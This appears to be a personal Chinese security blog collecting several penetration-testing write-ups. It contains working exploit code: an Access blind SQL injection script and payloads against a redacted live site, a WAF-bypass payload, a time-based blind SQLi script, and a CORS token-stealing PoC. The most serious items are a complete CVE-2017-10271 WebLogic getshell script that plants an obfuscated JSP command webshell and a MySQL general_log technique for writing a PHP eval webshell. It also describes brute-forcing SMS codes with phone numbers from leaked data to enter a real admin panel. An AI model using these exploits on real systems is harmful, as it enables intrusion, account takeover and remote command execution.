一个有梦想的少年。

记一次从0到1的渗透

一次从登录入口,分析JS,到后台权限。

前台用户登录页面


管理人员登录页面


分析:可以使用手机号登录,验证码为4位(可爆破验证码,但是无管理人员手机号),前台允许注册功能,无密码找回功能

发现一个js暴露许多接口


尝试调用接口,无数据返回

于是注册帐号,调用了日志的接口,返回一些人员的名字


再通过社工库成功匹配到人员的手机号,最后通过爆破验证码成功进入后台



挖洞还得细心

一次access盲注漏洞复现学习(附脚本)

迟来的新年快乐 好久没写东西  也没干货可写 太菜了

由于平时碰到的access的注入点比较少 也没认真学习过access注入 印象中除了偏移注入 其他都是需要爆破表名和字段名 看到个payload不需要字段名 遂研究下

Payload:asdf' or asc(mid((select a from(select 1,2,3 as a,4,5,6 from admin where 1=2 union select top 1 * from admin)ss),{},1))={} or 'a'='a

注入点位置在搜索框

有WTS waf


空格换成+就绕过去了

直接看payload

Payload通过闭合 用or实现条件为假 可控 假

直接看子查询select+1,2,3+as+a,4,5,6+from+admin+where+1=2+union+select+top+1+*+from+admin

本地尝试复现

select 1,2,3 as a from admin where 1=2 union select top 1 * from admin



执行后第3行的字段会以字段名为a返回 由于where 1=2为假 所以前面的没有返回 返回的是 select top 1 * from admin的结果

这样就好理解了

select a from (select 1,2 ,3 as a from admin where 1=2 union select top 1 * from admin)

就等价于select a from 刚刚的结果集



接着就是通过mid和asc进行盲注了 

通过编写脚本一下就跑出来了如需跑其他字段将as a放入别的字段位置就行了

脚本

#coding=utf-8

import hackhttp

url = "https://xxx/webasp/ly.asp"

proxy = {'http':'https://127.0.0.1:8080'}

user = ''

hh=hackhttp.hackhttp()

for i in range(1,33):

    for j in range(43,126):

        raw_data = '''POST /webasp/ly.asp HTTP/1.1

Host: www.xxx.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 141

Origin: https://xxx.com

Connection: close

Referer: https://xxx.com/webasp/ly.asp

Cookie: bdshare_firstime=1613967788392; Hm_lvt_31533bb09acca10f4010ef9ed32e309e=1613967789,1614151209; config=; ASPSESSIONIDSCDCDDBQ=KOOFBPPCOPOMAJMGAONKHPJO; Hm_lpvt_31533bb09acca10f4010ef9ed32e309e=1614151993; ASPSESSIONIDQAADBDCR=FFDJJAADBHINHDLIIAKCDJBH

Upgrade-Insecure-Requests: 1

 

keywords=asdf'+or+asc(mid((select+a+from+(select+1,2,3+as+a,4,5,6+from+admin+where+1=2+union+select+top+1+*+from+admin)ss),{},1))={}+or+'a'='a

'''.format(i, j)

        code, head, html, redirect_url, log = hh.http(url=url,raw=raw_data,proxy=('127.0.0.1', 8080))

        if '2015' in html:

            user+=chr(j)

print(user)

            Break

使用request库payload会被url编码 所以选择了hackhttp库


Mysql客户端文件读取漏洞

看了篇文章,利用到mysql客户端文件读取漏洞打进内网,觉得还是挺有意思的,所以复现一波

文章原文:https://xz.aliyun.com/t/6587

本地复现的时候使用的phpmyadmin,需要在配置文件进行配置才能连接远程服务端

Poc地址:https://github.com/allyshka/Rogue-MySql-Server

运行poc后,本地会启用一个伪mysql服务,端口开放在3306,读取的文件和端口可以自行修改


客户端这边创建了test.txt测试


利用本地的phpmyadmin进行连接,账号密码随意

可以成功读到test.txt文件

upupw探针进行测试

没成功

拓展:

这个漏洞不仅能读文件,还能ssrf,php伪协议。

SRC挖掘经验--cors劫持账户

新的一年 祝大家身体健康万事如意啦~  自己目标就是把2018留下的坑给填上 早日到达自己的高薪梦  努力努力!!!!!

工作中遇上了大佬  然后有了挖SRC的动力 想写下来记录一下

CORS 跨域资源共享,就是可以让不同网站和不同服务器直接通信。一篇CORS完整指南,总结的很详细,包括如何绕过等等

https://xz.aliyun.com/t/2745


某团的给的一个中危

挖洞过程无意中看到一个数据包,响应包中包含有Access-Control-Allow-Origin这个字段,然后就随手尝试看看有没有CORS漏洞!结果如图


再尝试 发现  如下图!

发现后面再加上域名是可以跨域获取资源的

如何利用?

利用方式就是泛解析,将https://m.****.com.rcoil.me解析到我们的IP上,由于比较穷买不起域名,就本地搭了个DNS设置了泛解析,如下图

只要是*.rcoil.me都会解析到我们的本地这


POC如下:

<!DOCTYPE html>

<html>

<body>

<center>

<h2>CORS POC Exploit</h2>

<h3>Extract SID</h3>

 

<div id="demo">

<button type="button" onclick="cors()">Exploit</button>

</div>

 

<script>

function cors() {

  var xhttp = new XMLHttpRequest();

  xhttp.onreadystatechange = function() {

    if (this.readyState == 4 && this.status == 200) {

      document.getElementById("demo").innerHTML = alert(this.responseText);

    }

  };

  xhttp.open("GET", "https://m.***.com/activity/juejiapi/editor/userinfo", true);

  xhttp.withCredentials = true;

  xhttp.send();

}

</script>

 

</body>

</html>

而拿到的TOKEN又能干嘛呢,如图

美滋滋

安全狗Bypass

环境 Lnmp

安全狗官方nginx免费版V2.4

看起来好像版本很低

Payload :'/*/*%/**/union/*/*%aaaaaa/**/allselect/*/*%aaaaaa/**/1,2,version()/*/*%aaaaaa/**/from users -- -


小坑

前面使用联合查询没构造错误条件的时候一直没爆出东西  然后就以为是安全狗拦截了  也是前面自己一直没想明白就走了弯路

正常情况下的联合查询

异常参数的查询


看到正常的查询他会返回两条结果,异常的只有一条,输出的时候他就会选择第一条数据而看不到我们查询的数据


SQL盲注-基于时间的python盲注脚本

学而不思则罔,死而不学则殆

在几次测试中,自己手工找出来的sql注入漏洞 sqlmap竟然没跑出来,这就很尴尬了,所以就自己练习也个盲注脚本,以后测试或者在绕过waf的时候都能用到。

import time

import requests



payloads = "abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_."

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"}

database = ""

url = "https://192.168.1.102/sqli-labs/Less-6/?id=1"

exp = '" and if(ascii(substr(database(),{0},1))={1},sleep(3),1) %23 '

for num in range(1,10):

    for i in payloads:

        url_ = url+exp.format(num,ord(i))

        start_time = time.time()

        r = requests.get(url_,headers=headers)

        if time.time()-start_time > 2.5 :

            database = database+i

            print database

        else:

            pass

测试效果:


在跑表和字段的时候就需要自己修改exp了

任意用户密码重置漏洞



人懒啊,报告又要写得多,只能靠挖挖逻辑漏洞来维持生活这样子,最近逻辑漏洞也比较火,哪里都有这些案例。这个是个内网地址就不打码了。

任意密码重置(一)

密码找回页面



当输入帐号和验证码之后,他会返回一个电话号码然后发送短信让我们进行验证,然后我们开启监听,获取返回包,并且将返回的电话号码改成我们的电话号码,再发送



修改了之后发送




这时候电话号码就变成了我们自己的电话号码,获取短信验证就能进行密码修改了

任意密码重置(二)

这个漏洞触发点跟上面那个也是同个系统,但是是不同的方式,直接绕过验证,进行密码修改。

首先,我们先输入帐号和验证码获取手机号码,进入到如下页面


可以看到密码找回的页面是有规律的,并且,系统没有对用户的访问权限进行控制,我们直接将forgetpwd3.jsp修改为forgetpwd4.jsp



直接进入到了设置新密码的界面,但是在这里帐号名和手机号是不可写的,这时候就到审查元素大神出场了,打开html源码


发现账户名和手机号都是readonly属性,这里直接双击这个属性,然后删除就可以直接进行编辑了。这里需要填上我们上一步获取的手机号


填上新密码提交

有人说blog要写人生感悟,可是我还是个未成年啊!哪里来的人生感悟。


CVE-2017-10271 windows Getshell脚本

好久没有写python,然后准备要用python来做课设,现在就想认真学习python。正好在Tools看到大神发的exp,就想用Python练习一波。

# coding = utf-8

import requests

import sys


def exp(url):

    header = {

        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',

        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

        'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',

        'Cookie': 'JSESSIONID=nczyhG8NwQ8ypTPHBCBlDwBk26XQD2vSpC4m9hqTvn4Jgy0nrCMJ!1975769378',

        'Connection': 'close',

        'Upgrade-Insecure-Requests': '1',

        'Content-Type': 'text/xml',

        'Content-Length': '2579'}

    payload = '''<soapenv:Envelope xmlns:soapenv="https://schemas.xmlsoap.org/soap/envelope/">

<soapenv:Header><work:WorkContext xmlns:work="https://bea.com/2004/06/soap/workarea/">

<java>

<java version="1.4.0" class="java.beans.XMLDecoder">

<object class="java.io.PrintWriter">

<string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.jsp</string>

<void method="println"><string>&#60;&#37;&#10;&#32;&#32;&#32;&#32;&#105;&#102;&#40;&#34;&#112;&#97;&#115;&#115;&#119;&#64;&#114;&#100;&#34;&#46;&#101;&#113;&#117;&#97;&#108;&#115;&#40;&#114;&#101;&#113;&#117;&#101;&#115;&#116;&#46;&#103;&#101;&#116;&#80;&#97;&#114;&#97;&#109;&#101;&#116;&#101;&#114;&#40;&#34;&#112;&#119;&#100;&#34;&#41;&#41;&#41;&#10;&#32;&#32;&#32;&#32;&#123;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#106;&#97;&#118;&#97;&#46;&#105;&#111;&#46;&#73;&#110;&#112;&#117;&#116;&#83;&#116;&#114;&#101;&#97;&#109;&#32;&#105;&#110;&#61;&#82;&#117;&#110;&#116;&#105;&#109;&#101;&#46;&#103;&#101;&#116;&#82;&#117;&#110;&#116;&#105;&#109;&#101;&#40;&#41;&#46;&#101;&#120;&#101;&#99;&#40;&#114;&#101;&#113;&#117;&#101;&#115;&#116;&#46;&#103;&#101;&#116;&#80;&#97;&#114;&#97;&#109;&#101;&#116;&#101;&#114;&#40;&#34;&#105;&#34;&#41;&#41;&#46;&#103;&#101;&#116;&#73;&#110;&#112;&#117;&#116;&#83;&#116;&#114;&#101;&#97;&#109;&#40;&#41;&#59;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#105;&#110;&#116;&#32;&#97;&#32;&#61;&#32;&#45;&#49;&#59;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#98;&#121;&#116;&#101;&#91;&#93;&#32;&#98;&#32;&#61;&#32;&#110;&#101;&#119;&#32;&#98;&#121;&#116;&#101;&#91;&#50;&#48;&#52;&#56;&#93;&#59;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#111;&#117;&#116;&#46;&#112;&#114;&#105;&#110;&#116;&#40;&#34;&#60;&#112;&#114;&#101;&#62;&#34;&#41;&#59;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#119;&#104;&#105;&#108;&#101;&#40;&#40;&#97;&#61;&#105;&#110;&#46;&#114;&#101;&#97;&#100;&#40;&#98;&#41;&#41;&#33;&#61;&#45;&#49;&#41;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#123;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#111;&#117;&#116;&#46;&#112;&#114;&#105;&#110;&#116;&#108;&#110;&#40;&#110;&#101;&#119;&#32;&#83;&#116;&#114;&#105;&#110;&#103;&#40;&#98;&#41;&#41;&#59;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#125;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#111;&#117;&#116;&#46;&#112;&#114;&#105;&#110;&#116;&#40;&#34;&#60;&#47;&#112;&#114;&#101;&#62;&#34;&#41;&#59;&#10;&#32;&#32;&#32;&#32;&#125;&#10;&#37;&#62;</string></void><void method="close"/>

</object>

</java>

</java>

</work:WorkContext>

</soapenv:Header><soapenv:Body/></soapenv:Envelope>'''

    r = requests.post(url=url+"/wls-wsat/CoordinatorPortType",data=payload,headers=header)

    rr = requests.get(url=url+"/wls-wsat/test.jsp")

    if rr.status_code == 200:

        print "CVE-2017-10271 is Valuble"

        print "shell:%s/wls-wsat/test.jsp"%url

        print "Post:pwd=passw@rd&i=Command"

    else:

        print "Getshell failure!"



if __name__ == '__main__':

    try:

        url = sys.argv[1]

    except:

        print "Usage: wls_Getshell.py https://test/"

        exit()

    exp(url)





利用mysql general log 写shell

这个可以在waf拦截我们使用into outfile()写shell的时候进行利用,前提是我们必须是root权限,并且知道网站的绝对路径。

先查看当前Mysql的日志位置

mysql> show variables like '%general%';


在这里我们的general_log未开启,当我们开启general_log以后,每执行一条sql都会被自动记录到这个日志文件中,我们就可以通过这种方式,把我们的shell代码也自动写进去,,运维可能平时都是拿这个来查慢查询,只会临时开启下,所以,如果想利用,就只能我们自己手动开,这就是为什么要root权限才行,因为它涉及到mysql自身参数配置。

将general_log开启

mysql>set global general_log = on;  

此时,再将原本的日志文件位置指向到目标网站的物理路径

mysql> set global general_log_file = 'C:/wamp/www/shell.php';


现在可以查看我们本地会生成一个shell.php的文件

现在可以写shell了

mysql> select '<?phpeval($_POST[123]);?>';






最后,干完活儿以后务必记得把配置恢复原状。不然,目标站如果访问量比较大,日志文件可能会瞬间暴增连shell时会巨卡。

mysql> set global general_log_file = ' c:\wamp\bin\mysql\mysql5.6.17\data\MS-20160424IGEI.log';

mysql> set global general_log = off;


参考文章:https://www.freebuf.com/column/150308.html


代码审计--常见php危险函数

代码审计是在看I春秋课程后想写的,目的也是写下来自己也复现一遍加深记忆。

 

代码执行函数

eval()     可以把字符串按照 PHP 代码来计算


Assert()     断言函数,如果函数里面是字符串的话会当作php代码来执行


Preg_replace()    加了/e修正符使 preg_replace() 将 replacement 参数当作 PHP 代码


Create_funtion()

Call_user_func()

等等

包含函数

Include()

include_once()

require()

require_once()

利用文件包含漏洞可以通过PHP伪协议进行Getshell,以及读取文件等等操作,i春秋上也有利用工具。因为在前面写过就不写了。

命令执行

Exec()执行一个外部程序

Passthru()执行外部程序并且显示原始输出

Proc_open()—执行一个命令,并且打开用来输入/输出的文件指针。

Shell_exec()—通过shell环境执行命令,并且将完整的输出以字符串的方式返回。

System()—执行外部程序,并且显示输出

Popen()—通过popen()的参数传递一条命令,并对popen()所打开的文件进行执行。

等等 ...

文件操作

File_get_contens()     读取文件

File_put_contens()     将字符串写入文件,一般命令执行的时候会用上这个函数写shell。

等等 ...

还有一些特殊函数

Parse_str()     函数把查询字符串解析到变量中。容易导致变量覆盖漏洞。

unserialize()   反序列化函数

等等

...

© Goodboy|Powered by LOFTER